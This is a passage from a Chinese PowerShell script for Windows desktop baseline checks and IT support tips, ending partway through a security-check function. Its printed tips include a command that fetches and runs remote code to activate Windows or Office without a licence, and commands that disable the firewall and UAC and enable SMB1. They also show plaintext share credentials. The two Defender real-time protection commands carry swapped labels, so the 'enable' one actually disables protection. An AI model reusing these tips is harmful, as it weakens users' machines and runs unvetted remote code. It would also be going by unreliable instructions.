Microsoft-Windows-Security-Auditing:提供了与安全审计和审核相关的事件,例如用户登陆、权限更改、文件和对象访问等。" Write-Host "* Microsoft-Windows-DistributedCOM:提供了与分布式应用程序相关的事件,例如分布式COM调用的失败、权限问题、RPC服务器无法使用等。" Write-Host "* Microsoft-Windows-DNS-Client:服务负责将域名解析为相应的 IP 地址,并将其缓存以提高性能。" Write-Host "* Service Control Manager:事件通常记录了系统启动、服务启动/停止、服务崩溃等与服务相关的事件。" Write-Host "* LsaSrv: 是指 Windows 系统中与本地安全认证服务。如用户的登录、注销、密码重置,以及 NTLM 和 Kerberos等。" Write-Host "* User32: 大量用于处理 GUI(图形用户界面)元素和用户交互的系统 API。" Write-Host "`n以上仅是常见的几个 ProviderName 示例,实际上还有很多其他的 ProviderName,其作用和功能也各不相同,可根据需要进行查询。" Write-Host "`n* 事件ID查询:" -ForegroundColor Yellow Write-Host " https://www.ultimatewindowssecurity.com/securitylog/encyclopedia" -ForegroundColor Blue Write-Host " https://www.myeventlog.com/search/find" -ForegroundColor Blue Write-Host " https://www.chicagotech.net/wineventid.htm" -ForegroundColor Blue Write-Host "`n* 安全标识符查询:" -ForegroundColor Yellow -NoNewline Write-Host "https://rootclay.gitbook.io/windows-access-control/qi-an-quan-biao-shi-fu `n" -ForegroundColor Blue Write-Host "`n* PowerShell模块组件线索查询:" -ForegroundColor Yellow Write-Host " https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps" -ForegroundColor Blue Write-Host "`n日志记录开关机的现状说明:`n" Write-Host "1. 统计事件6005、6006、557并不能精确获取到开关机时间,6005 和 6006只是分别记录为EventLog的启动和关闭事件。" Write-Host "2. 但是这些事件只记录了系统的操作状态,而没有记录实际的开机和关机时间。" Write-Host "3. 557 该事件虽本质含义是指操作系统已成功开始启动,值得注意是:" Write-Host ' "Active" 表示系统处于活动状态,这也可能系统正在运行某些应用程序、计算/处理一些任务,或等待用户操作。' Write-Host ' 因此,在启动时 "Active" 可能是由操作系统自动调用的某些服务或应用程序引起的,比如锁屏解锁。' Write-Host "4. 事件 12 与事件 13 的 System 日志中,Windows是明确定义为系统启动与关闭的。" Write-Host " " Write-Host "**需要注意的是,这种方法的精度取决于操作系统日志的日志记录级别和日志文件大小限制。**" -ForegroundColor Yellow Write-Host "**如果日志满了并且被截断了,这些事件也可能不会包含完整的历史记录。**" -ForegroundColor Yellow Write-Host "`n#桌面技术·常见故障指导修复`n" -ForegroundColor Cyan Write-host "* 应用程序无法访问 Internet 导致无法启动:" -ForegroundColor Yellow -nonewline; Write-Host "netsh winsock reset" -ForegroundColor Green Write-host "* 解决SMB共享盘残留账号:" -ForegroundColor Yellow -nonewline; Write-Host "net stop workstation & net start workstation" -ForegroundColor Green Write-Host "* U盘故障修复:" -ForegroundColor Yellow -nonewline; Write-host "chkdsk U盘盘符: /f" -ForegroundColor Green Write-Host "* 系统文件完整性扫描:" -ForegroundColor Yellow -nonewline; Write-Host "sfc /scannow" -ForegroundColor Green Write-Host "* 系统DCOM组件注册:" -ForegroundColor Yellow -nonewline; Write-Host "regsvr32 C:\Windows\System32\ole32.dll" -ForegroundColor Green Write-Host "* 检查系统映像完整性:" -ForegroundColor Yellow -nonewline; Write-Host "DISM /Online /Cleanup-Image /RestoreHealth" -ForegroundColor Green Write-Host "* 有关其他dll异常,可下载安装vc++运行库,解决初期问题:" -ForegroundColor Yellow Write-Host " * " -ForegroundColor Yellow -NoNewline; Write-Host "https://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170 `n" -ForegroundColor Blue Write-Host "#桌面技术·网络配置`n" -ForegroundColor Cyan Write-Host "备份IP设置到桌面 ip_config_bak.txt" -ForegroundColor Yellow Write-Host " " Write-Host "netsh interface ip show config > C:%homepath%\Desktop\ip_config_bak.txt" -ForegroundColor Green Write-Host " " Write-Host "静态IP、子网掩码、网关" -ForegroundColor Yellow Write-Host " " Write-Host 'netsh interface ip set address "以太网" static 192.168.1.1 255.255.255.0 192.168.1.11' -ForegroundColor Green Write-Host " " Write-Host "静态DNS设置" -ForegroundColor Yellow Write-host ` ' netsh interface ip set dns "以太网" static 208.67.222.222 primary && netsh interface ip add dns "以太网" 114.114.114.114 ' -ForegroundColor Green Write-host "`n自动网络获取`n" -ForegroundColor Yellow Write-Host 'netsh interface ip set address "以太网" source=dhcp' -ForegroundColor Green Write-Host 'netsh interface ip set dns "以太网" dhcp' -ForegroundColor Green Write-host "`n#桌面技术·装机`n" -ForegroundColor Cyan Write-Host "1. 系统/Office激活:" -ForegroundColor Yellow -NoNewline; Write-Host 'powershell -c "irm https://massgrave.dev/get|iex"' -ForegroundColor Green Write-host "2. 关闭防火墙:" -ForegroundColor Yellow -NoNewline; Write-Host 'netsh advfirewall set allprofiles state off' -ForegroundColor Green Write-host "3. 关闭UAC:" -ForegroundColor Yellow -NoNewline; Write-host 'reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f' -ForegroundColor Green Write-host "4. 开启SMB1:" -ForegroundColor Yellow -NoNewline; Write-Host 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v "SMB1" /t REG_DWORD /d 1 /f' -ForegroundColor Green Write-host "5. SMB盘设置:" -ForegroundColor Yellow -NoNewline; Write-Host 'net use * \\192.168.0.33\漏洞补丁 /user:test 123456 /persistent:yes' -ForegroundColor Green Write-host "6. 自动化静默安装软件:" -ForegroundColor Yellow -NoNewline; Write-Host 'C:\path\your software\Setup.exe /s /qn' -ForegroundColor Green Write-Host "7. 显示此电脑、控制面板图标、扩展名(复制橙色代码即可)" -ForegroundColor Yellow Write-Host ` ' reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{20D04FE0-3AEA-1069-A2D8-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{21EC2020-3AEA-1069-A2DD-08002B30309D}" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" /t REG_DWORD /d 0 /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 0 /f ' -ForegroundColor DarkYellow Write-Host "8. PE查看IP地址:`n" -ForegroundColor Yellow Write-Host ` ' REG LOAD HKLM\TempLookIp C:\Windows\System32\config\SYSTEM & REG QUERY HKLM\TempLookIp\ControlSet001\services\Tcpip\Parameters\interfaces /s ' -ForegroundColor DarkYellow Write-Host " " Write-Host "9. IE防劫持(win10正常使用就好,win11需先用小鱼儿IE修复工具,恢复IE11快捷方式,再使用该代码。):`n" -ForegroundColor Yellow Write-Host ` ' reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Enable Browser Extensions" /t REG_SZ /d "NO" /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "UpsellDisabled" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "RedirectionMode" /t REG_DWORD /d 0 /f reg add "HKCU\Software\Microsoft\Edge\IEToEdge" /v "QuietExpirationTime" /t REG_QWORD /d 0 /f ' -ForegroundColor DarkYellow Write-Host "10. 禁用实时保护 `n" -ForegroundColor Yellow Write-Host ` ' REG DELETE "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /f 2>nul 1>nul ' -ForegroundColor DarkYellow Write-Host "`n11. 启用实时保护 `n" -ForegroundColor Yellow Write-Host ` ' REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 1>nul ' -ForegroundColor DarkYellow Write-Host "`n12. 关闭win10/win11 搜索热搜 `n" -ForegroundColor Yellow Write-Host " reg add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\explorer" /v DisableSearchBoxSuggestions /t reg_dword /d 1 /f" -ForegroundColor DarkYellow Write-Host " " Write-Host "`n#桌面技术·休眠、睡眠专题`n" -ForegroundColor Cyan Write-Host "休眠、睡眠的区别:`n" -ForegroundColor Yellow Write-Host "* 休眠:将系统状态保存到硬盘,关闭所有设备,电脑选择了休眠,与关机同理是不耗电的,再次唤醒时,系统从硬盘恢复数据。" -ForegroundColor Yellow Write-Host "* 睡眠:将系统状态保存到内存,关闭所有设备,系统进入低功耗状态;启动快,一旦插线板(市网供电)断电,睡眠是无法保存数据的。`n" -ForegroundColor Yellow Write-Host '具体概念可参考,"博客园 - 电脑睡眠(sleep)和休眠(Hibernate)的区别,以及休眠功能的设置":' -ForegroundColor Yellow Write-Host " https://www.cnblogs.com/fatherofbeauty/p/16351107.html" -ForegroundColor Blue Write-Host "`n交流电与直流电置零休眠、睡眠,并禁用休眠。(交流:ac,接通电源;直流:dc,用电池)`n" -ForegroundColor Yellow; Write-Host ` ' # 交流电与直流电置零休眠 ' -NoNewline Write-Host ` ' powercfg -change -standby-timeout-ac 0 powercfg -change -hibernate-timeout-ac 0 ' -ForegroundColor DarkYellow Write-Host ` ' # 交流电与直流电置零睡眠 ' -NoNewline Write-Host ` ' powercfg -change -standby-timeout-dc 0 powercfg -change -hibernate-timeout-dc 0 ' -ForegroundColor DarkYellow Write-Host ` ' # 禁用休眠 ' -NoNewline Write-Host ` ' powercfg -h off ' -ForegroundColor DarkYellow Write-Host "`n设置交流电与直流电的屏幕显示时间(默认单位为秒):`n" -ForegroundColor Yellow; Write-Host ` ' # 交流:ac,接通电源 ' -NoNewline Write-Host ` ' powercfg -setacvalueindex SCHEME_BALANCED SUB_VIDEO VIDEOIDLE 180 ' -ForegroundColor DarkYellow Write-Host ` ' # 直流:dc,用电池 ' -NoNewline Write-Host ` ' powercfg -setdcvalueindex SCHEME_BALANCED SUB_VIDEO VIDEOIDLE 120 ' -ForegroundColor DarkYellow Write-Host '关于"允许计算机关闭此设备以节省电源"禁用设置,可参考:' -ForegroundColor Yellow Write-Host " https://learn.microsoft.com/zh-CN/troubleshoot/windows-client/networking/power-management-on-network-adapter" -ForegroundColor Blue Write-Host " https://learn.microsoft.com/zh-tw/windows-hardware/design/device-experiences/modern-standby-sleepstudy" -ForegroundColor Blue Write-Host " " Write-Host '以下为取消勾选"允许计算机关闭此设备以节省电源,(勾选 默认值 0 即可;取消勾选 24)"' -ForegroundColor Yellow Write-Host " " Write-Host ` ' reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v PnPCapabilities /t REG_DWORD /d 24 /f ' -ForegroundColor DarkYellow Write-Host "`n#补充·共享说明 `n" -ForegroundColor Cyan Write-Host "`n 有别于端口流量监测分析,这个共享服务检测主要针对于局域网企业非信息质量部、开发应用部同事的主机检测,因此也较容易察觉出其主机的可疑性。`n" -ForegroundColor Yellow Write-Host '另外,http相比于SMB、FTP更为繁琐复杂,比较"专业化",由于面向受众的不同,故不纳入检测范围。' -ForegroundColor Yellow; Write-Host "`nSMB列表概要:" Write-Host '1. ADMIN$ 表示 Windows 操作系统的安装目录(通常为C:\Windows)的共享目录。该共享只有管理员帐户才能访问,用于进行远程管理操作。' Write-Host '2. C$ 表示整个系统驱动器(通常为 C:\)的共享目录。该共享允许拥有管理员权限的用户通过网络进行对系统根目录的访问。' Write-Host '3. IPC$ 共享可能被滥用的原因是,它是一个特殊的共享,允许用户在不需要进行身份验证的情况下建立连接。' Write-Host ' 3.1 这意味着攻击者可以使用一些工具和技术(如端口扫描、远程桌面连接等)来访问 IPC$ 共享,并尝试利用系统漏洞进行攻击。' Write-Host ' 3.2 禁用IPC可能会对其他服务产生负面影响,如:文件共享、AD活动目录、远程管理工具、系统备份和还原。' Write-Host "`n#补充·有关 Windows defender 文档 `n" -ForegroundColor Cyan Write-Host ` ' * https://learn.microsoft.com/en-us/previous-versions/windows/desktop/defender/msft-mpthreat * https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/microsoft-defender-antivirus-in-windows-10 ' -ForegroundColor Yellow Write-Host ` ' 关于 Get-MpThreatDetection 的详细属性信息,可参考:https://powershell.one/wmi/root/microsoft/windows/defender/msft_mpthreatdetection ' -ForegroundColor Green Write-Host "`n#其他·新发现 `n" -ForegroundColor Cyan Write-Host ` ' 关于映像劫持,可参考:https://attack.mitre.org/techniques/T1546/012/ ' -ForegroundColor Green Write-Host ` ' * 关于软件证书限制,可参考:https://baijiahao.baidu.com/s?id=1669306160103456552&wfr=spider&for=pc * 以及证书库实验证书:https://github.com/the1812/Malware-Patch/tree/master/src/MalwarePatch/Certificates ' -ForegroundColor Green Write-Host ` ' 针对system32文件的授权检查,正常情况下这四者都是处于 Deny 状态,如果还有其他项,那么就很可能存有异常项。 Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\FxsTmp Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\Recovery Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\SleepStudy Microsoft.PowerShell.Core\FileSystem::C:\Windows\System32\WDI 虚拟机则没有FxsTmp该项,注意查阅相关资料,检查可疑被 Deny 的dll文件的具体作用。 ' -ForegroundColor Green Write-Host "`n#结语`n" -ForegroundColor Cyan Write-Host "PowerShell是一个强大的脚本语言,可实现多种系统级操作功能,对自动化管理Windows系统十分有利。" Write-Host "PowerShell实现的Windows基线检查脚本,可实现对系统基础信息、网络连接、打印机状态、防火墙状态、硬盘、CPU、内存信息等的检查。`n" Write-Host "`n编写基线检查脚本,涉及到多种技术,如下:" Write-Host "1. 常见桌面问题解决方案:桌面运维涉及到的软件、硬件、网络、系统、安全等多个方面。" Write-Host "2. 代码实现涉及到细节:如何获取系统信息、如何获取注册表信息、如何获取事件日志信息、如何获取WMI信息等。" Write-Host "2.1 代码实现涉及到设计思想:如何查询结构、基本运行逻辑、异常处理等。" Write-Host "3. 查阅文档与验证:关键字、案例、调试、实验、反复查阅。`n" Write-Host "如有疑问及遗漏不当之处,可联系作者邮箱 hoochanlon@outlook.com ,以及访问GitHub项目地址:" -NoNewline -ForegroundColor Yellow Write-Host "https://github.com/hoochanlon/scripts " -NoNewline -ForegroundColor Blue Write-Host ",同时欢迎咨询与指正。" -ForegroundColor Yellow Write-Host "`n#附录·IT运维技术分析工具`n" -ForegroundColor Cyan Write-Host "`n* 局域网网络分析工具:" -ForegroundColor Yellow Write-Host " advanced-ip-scanner:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.advanced-ip-scanner.com" -ForegroundColor Blue Write-Host " wireshark:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.wireshark.org" -ForegroundColor Blue Write-Host "`n* 系统各项性能分析工具:" -ForegroundColor Yellow Write-Host " 图拉丁工具箱:" -ForegroundColor Yellow -nonewline; Write-Host "http://www.tbtool.cn" -ForegroundColor Blue Write-Host " windirstat:" -ForegroundColor Yellow -nonewline; Write-Host "https://windirstat.net" -ForegroundColor Blue Write-Host " sysinternals:" -ForegroundColor Yellow -nonewline; Write-Host "https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer" -ForegroundColor Blue Write-Host "`n* PowerShell模块组件:" -ForegroundColor Yellow Write-Host " https://learn.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps" -ForegroundColor Blue Write-Host " https://www.powershellgallery.com" -ForegroundColor Blue Write-Host "`n* 注册表分析工具:" -ForegroundColor Yellow Write-Host " admx.help:" -ForegroundColor Yellow -nonewline; Write-Host "https://admx.help" -ForegroundColor Blue Write-Host " regscanner:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.nirsoft.net/utils/regscanner.html" -ForegroundColor Blue Write-Host " registry-finder:" -ForegroundColor Yellow -nonewline; Write-Host "https://registry-finder.com" -ForegroundColor Blue Write-Host "`n* 事件ID分析工具:" -ForegroundColor Yellow Write-Host " Win10_Events_ID_useful:" -ForegroundColor Yellow -nonewline; Write-Host "https://github.com/hoochanlon/scripts/blob/main/AQUICK/BITRH/Win10_Events_ID_useful.xlsx" -ForegroundColor Blue Write-Host " myeventlog:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.myeventlog.com/search/find" -ForegroundColor Blue Write-Host " ultimatewindowssecurity:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia" -ForegroundColor Blue Write-Host "`n#附录·软件分析涉及项:`n" -ForegroundColor Cyan Write-Host "1. 代码分析:软件分析通常涉及对应用程序源代码的详细分析。" -ForegroundColor Yellow Write-Host "2. 漏洞扫描:通过漏洞扫描工具可以自动发现软件中的安全漏洞。" -ForegroundColor Yellow Write-Host "3. 静态分析:静态分析是指对源代码进行分析以发现潜在问题,而不是运行代码并观察其行为。" -ForegroundColor Yellow Write-Host "4. 动态分析:动态分析是指在运行时对应用程序进行分析以观察其行为。" -ForegroundColor Yellow Write-Host "5. 逆向工程:逆向工程是指使用反汇编器和其他技术分析已编译的代码以发现程序的内部机制。" -ForegroundColor Yellow Write-Host "6. 反作弊分析:反作弊分析是指对游戏和应用程序进行分析,以检测和打击作弊行为。" -ForegroundColor Yellow Write-Host "7. 安全审计:安全审计是指对软件进行详细的审查,以确定其是否符合特定的安全标准或法规。" -ForegroundColor Yellow Write-Host "`n#附录·信息安全资料站点聚合" -ForegroundColor Cyan Write-Host " " Write-Host "----------------------------------------" -ForegroundColor Yellow Write-Host "搜索技巧:一、目的明确;二、凝练关键词;三、寻找正反两案例,分析并比对。如示(以此类推):" -ForegroundColor Yellow Write-Host "[CSDN - PowerShell攻击与检测](https://blog.csdn.net/Ping_Pig/article/details/108976627)" -ForegroundColor Magenta Write-Host "----------------------------------------" -ForegroundColor Yellow Write-Host " " Write-Host "n* 推荐好文:`n" -ForegroundColor Yellow Write-Host " [南京农业大学 - Windows操作系统配置安全基线标准与操作指南](https://net.njau.edu.cn/__local/3/30/38/FB38F23775A9BC8DCCF498280E2_5EC87E05_98C4A.pdf)" -ForegroundColor Magenta Write-Host " [freebuf - 等保2.0看这一篇就够了](https://www.freebuf.com/articles/network/344946.html)" -ForegroundColor Magenta Write-Host "`n* IT技术刊文、论坛网站:" -ForegroundColor Yellow Write-Host " superuser:" -ForegroundColor Yellow -nonewline; Write-Host "https://superuser.com" -ForegroundColor Blue Write-Host " minitool news:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.minitool.com/news/automatic-sample-submission-off.html" -ForegroundColor Blue Write-Host " stack overflow:" -ForegroundColor Yellow -nonewline; Write-Host "https://stackoverflow.com" -ForegroundColor Blue Write-Host " 吾爱破解" -ForegroundColor Yellow -nonewline; Write-Host "https://www.52pojie.cn/forum-10-1.html" -ForegroundColor Blue Write-Host " 先知社区" -ForegroundColor Yellow -nonewline; Write-Host "https://xz.aliyun.com/search?keyword=thinkphp" -ForegroundColor Blue Write-Host " freebuf:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.freebuf.com" -ForegroundColor Blue Write-Host " 舆情采集系统:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.axtx.net" -ForegroundColor Blue Write-Host " 各类互联网IT技术杂文:" -ForegroundColor Yellow -nonewline; Write-Host "https://www.zadmei.com" -ForegroundColor Blue Write-Host "`n#附录·ASCII ART`n" -ForegroundColor Cyan Write-Host " " Write-Host "-----------------------------------------------------------------------" -ForegroundColor Yellow Write-Host "生成 ASCII 艺术图片" -ForegroundColor Yellow Write-Host " [ASCII ART](https://ascii.co.uk/art)" -ForegroundColor Magenta Write-Host " [ASCII Art Generator](https://wiki.archlinuxcn.org/zh-hans/ASCII_艺术)" -ForegroundColor Magenta Write-Host "-----------------------------------------------------------------------" -ForegroundColor Yellow Write-Host " " Write-Host @" <|/\ | |, |-|-o |<|. _,..._,m, |, ,/' '""; | |, / ". ,'mmmMMMMmm. \ -|-_" _/-"^^^^^"""%#%mm, ; | _ o ,m,_,' "###) ;, (###% \#/ ;##mm. ^#/ __ ___ ; (######) ; //.\\ //.\\ ; \####/ _; (#\"// \\"/#) ; ,/ @##\ \##/ = `"=" ,;mm/ `\##>.____,...,____,<####@ ""' m1a "@ -ForegroundColor DarkGreen <# ------- 倒计时 # 就两位数吧,折中方案,当小于100秒时,或到了1分钟时采用 # $t = 11 # while ($t -ge 0) { # Write-Host ($t.ToString("D2")) -NoNewline # Start-Sleep -Seconds 1 # Write-Host -NoNewline "`b`b`b`r" # $t-- # } #> } # 检查主机名、系统安装日期、启动时间、运行时间、系统架构 function check_sys { Clear-Host Write-Host "`n" Write-Host "### 主机基础信息 ###" -ForegroundColor Cyan Get-ComputerInfo | Select-Object -Property ` OsRegisteredUser, CsDomain, CsDNSHostName, OsName, OsInstallDate, OsLastBootUpTime, OsUptime, OsArchitecture ` | Out-Host } # 检查IP与网络设备连接状态 function check_ip { Write-Host " " Write-Host "### 检查网络基本连接情况 ###`n" -ForegroundColor Cyan Write-Host "--- 检查IP地址,以及是否开启代理(1 开启;0 关闭) ---" -ForegroundColor Yellow netsh interface ipv4 show addresses "以太网" netsh interface ipv4 show dnsservers "以太网" Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' | Select-Object ProxyEnable Write-Host "--- 检查连接局域网网络状态 ---`n" -ForegroundColor Yellow $result = Get-NetConnectionProfile | Select-Object -Property Name, InterfaceAlias, NetworkCategory if ($result) { $result | Out-Host } else { Write-Host "此网络存在异常。`n" -ForegroundColor DarkRed } Write-Host "--- 检查近期是否存在IP冲突 ---`n" -ForegroundColor Yellow $result = Get-WinEvent -FilterHashtable @{ LogName = 'System' StartTime = (Get-Date).Date.AddDays(-14) } | Where-Object { ($_.Id -in 4199) } | Select-Object Id, Level, ProviderName, LogName, ` TimeCreated, LevelDisplayName, TaskDisplayName if ($result) { $result | Out-Host } else { Write-Host "主机近期没有存在IP冲突事件。`n" -ForegroundColor Green } Write-Host "### 检查网络基本连接情况,已完成`n" -ForegroundColor Green } # 检查打印机状态详情 function check_printer { Write-Host " " Write-Host "### 检检查打印机状态 ###`n" -ForegroundColor Cyan Write-Host "--- 检查打印机服务,以及连接打印机数量 ---" -ForegroundColor Yellow Get-Service | findstr "Spooler" | Out-Host Write-Host "--- 检查打印池是否有文件 ---" -ForegroundColor Yellow Get-ChildItem C:\Windows\System32\spool\PRINTERS $result = Get-Printer | Select-Object Name, PrinterStatus if ($result) { $result | Out-Host } else { Write-Host "没有配置任何虚拟或实体打印机" -ForegroundColor DarkRed } Write-Host "--- 检查是否存在默认打印机 ---" -ForegroundColor Yellow $result = Get-CimInstance -Class Win32_Printer | Where-Object { $_.Default -eq $true } | Select-Object Name if ($result) { $result | Out-Host } else { Write-Host "没有配置默认打印机" -ForegroundColor Magenta } Write-Host "--- 检查是否存在扫描仪服务 ---" -ForegroundColor Yellow $result = Get-Service stisvc if ($result) { $result | Out-Host } else { Write-Host "扫描仪服务缺失" -ForegroundColor Magenta } Write-Host "`n### 检查打印机状态,已完成`n" -ForegroundColor Green } # 检查硬盘、CPU、内存信息 function check_disk_cpu_mem { # [math]::Round 用于调用 .NET Framework 中的静态方法或属性。 # https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_arithmetic_operators?view=powershell-7.3 Write-Host " " Write-Host "### 开始检查硬盘、CPU、内存、系统基础驱动 ###`n" -ForegroundColor Cyan Write-Host "--- 检查硬盘类型与容量 ---" -ForegroundColor Yellow $result = Get-PhysicalDisk if ($result) { $result | Out-Host } else { Write-Host "获取不到硬盘类型与容量`n" -ForegroundColor Red } Write-Host "--- 检查硬盘分区及可用空间 ---" -ForegroundColor Yellow $result = Get-Volume if ($result) { $result | Out-Host } else { Write-Host "获取不到硬盘分区及可用空间`n" -ForegroundColor Red } Write-Host "--- 检查CPU参数 ---" -ForegroundColor Yellow $result = Get-CimInstance -Class Win32_Processor | Select-Object Caption, MaxClockSpeed if ($result) { $result | Out-Host } else { Write-Host "获取不到CPU参数`n" -ForegroundColor Red } Write-Host "--- 检查内存条参数、类型 ---`n" -ForegroundColor Yellow Write-Host "DDR1: 400 MHz以下;DDR2: 800 MHz以下;DDR3: 2133 MHz以下;DDR4: 3200 MHz以下。" $result = Get-CimInstance -Class Win32_PhysicalMemory | Select-Object -Property BankLabel, @{Name = "Capacity(GB)"; Expression = { [math]::Round($_.Capacity / 1GB, 2) } }, DeviceLocator, PartNumber, SerialNumber, Speed if ($result) { $result | Out-Host } else { Write-Host "获取不到内存条参数、类型`n" -ForegroundColor Red } Write-Host "--- 检查电脑显示参数状态 ---" -ForegroundColor Yellow $videoController = Get-CimInstance -Class Win32_VideoController -ErrorAction SilentlyContinue if ($videoController) { $Name = $videoController.Name $DriverVersion = $videoController.DriverVersion $AdapterCompatibility = $videoController.AdapterCompatibility $Status = $videoController.Status $AdapterRAM = [System.Math]::Round($videoController.AdapterRAM / (1024 * 1024 * 1024), 2) $CurrentHorizontalResolution = $videoController.CurrentHorizontalResolution $CurrentVerticalResolution = $videoController.CurrentVerticalResolution $VideoModeDescription = $videoController.VideoModeDescription $MaxRefreshRate = $videoController.MaxRefreshRate if ([string]::IsNullOrEmpty($Name)) { $Name = "N/A" } if ([string]::IsNullOrEmpty($AdapterCompatibility)) { $Name = "N/A" } if ([string]::IsNullOrEmpty($Status)) { $Status = "N/A" } if ([string]::IsNullOrEmpty($DriverVersion)) { $DriverVersion = "N/A" } if ([string]::IsNullOrEmpty($AdapterRAM)) { $AdapterRAM = "N/A" } if ([string]::IsNullOrEmpty($CurrentHorizontalResolution)) { $CurrentHorizontalResolution = "N/A" } if ([string]::IsNullOrEmpty($CurrentVerticalResolution)) { $CurrentVerticalResolution = "N/A" } if ([string]::IsNullOrEmpty($VideoModeDescription)) { $VideoModeDescription = "N/A" } if ([string]::IsNullOrEmpty($MaxRefreshRate)) { $MaxRefreshRate = "N/A" } Write-Host " " Write-Host "显卡驱动:$Name" Write-Host "驱动版本:$DriverVersion" Write-Host "状态:$Status" Write-Host "显存(GB):$AdapterRAM" Write-Host "平台兼容性:$AdapterCompatibility" Write-Host "最大刷新率:$MaxRefreshRate" Write-Host "当前水平分辨率:$CurrentHorizontalResolution" Write-Host "当前垂直分辨率:$CurrentVerticalResolution" Write-Host "视频模式描述:$VideoModeDescription" Write-Host " " } else { Write-Host "未能检测到 Video Controller。`n" } Write-Host "`n--- 检查显示屏设备详情 ---`n" -ForegroundColor Yellow $monitor_id = Get-CimInstance -Namespace root\wmi -ClassName WmiMonitorID | Select-Object -First 1 if ($null -ne $monitor_id) { $Manufacturer = [System.Text.Encoding]::UTF8.GetString($monitor_id.ManufacturerName) $ProductCode = [System.Text.Encoding]::UTF8.GetString($monitor_id.ProductCodeID) $SerialNumber = [System.Text.Encoding]::UTF8.GetString($monitor_id.SerialNumberID) $UserFriendlyNameLength = $monitor_id.UserFriendlyNameLength $UserFriendlyNameBytes = $monitor_id.UserFriendlyName[0..($UserFriendlyNameLength - 1)] if ($null -ne $UserFriendlyNameBytes) { $UserFriendlyName = [System.Text.Encoding]::UTF8.GetString($UserFriendlyNameBytes) } else { $UserFriendlyName = "N/A" } $WeekOfManufacture = $monitor_id.WeekOfManufacture $YearOfManufacture = $monitor_id.YearOfManufacture Write-Host "Active: $($monitor_id.Active)" Write-Host "Instance Name: $($monitor_id.InstanceName)" Write-Host "Manufacturer: $Manufacturer" Write-Host "Product Code: $ProductCode" Write-Host "Serial Number: $SerialNumber" Write-Host "User-friendly name: $UserFriendlyName (Length: $UserFriendlyNameLength)" Write-Host "Week of Manufacture: $WeekOfManufacture" Write-Host "Year of Manufacture: $YearOfManufacture" } else { Write-Host "`n没有查询到相关显示屏具体信息。`n" -ForegroundColor Red } Write-Host "`n--- 检查主板信息 ---" -ForegroundColor Yellow $result = Get-CimInstance -Class Win32_BaseBoard | Select-Object Manufacturer, Product, Model, SerialNumber if ($result) { $result | Format-List } else { Write-Host "`n未查询到主板信息`n" -ForegroundColor Green } Write-Host "`n--- 检查驱动是否存有异常 ---`n" -ForegroundColor Yellow $result = Get-PnpDevice | Where-Object { $_.Status -ne "Ok" } if ($result) { $result | Select-Object FriendlyName, Status | Out-Host } else { Write-Host "设备驱动运转正常`n" -ForegroundColor Green } Write-Host "### 检查硬盘、CPU、内存、系统基础驱动,已完成`n" -ForegroundColor Green } # 查看防火墙状态以及是否开放特定端口规则(初期功能) # 检查设备安全性、近期升级补丁、定时任务项 function check_fw { Write-Host " " Write-Host "### 检查设备安全性、近期升级补丁、定时任务项、证书策略、系统核心文件控制访问状况 ###`n" -ForegroundColor Cyan Write-Host "--- 检测Windows defender实时保护状态 ---" -ForegroundColor Yellow Get-MpComputerStatus | Select-Object -Property RealTimeProtectionEnabled, AntivirusEnabled | Out-Host Write-Host "--- 检测防火墙是否开启 ---" -ForegroundColor Yellow Get-NetFirewallProfile | Select-Object Name, Enabled | Out-Host Write-Host "--- 关于远程桌面与ICMP ping防火墙策略是否启用 ---" -ForegroundColor Yellow Get-NetFirewallRule -DisplayName "远程桌面*", "核心网络诊断*ICMPv4*" | Select-Object DisplayName, Enabled | Out-Host Write-Host "--- 检查主机安装补丁近况 ---`n" -ForegroundColor Yellow Get-HotFix | Sort-Object -Property InstalledOn -Descending | Select-Object -First 9 | Out-Host Write-Host "--- 检查非主机系统性的计划任务 ---`n" -ForegroundColor Yellow Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "*Microsoft*" -and 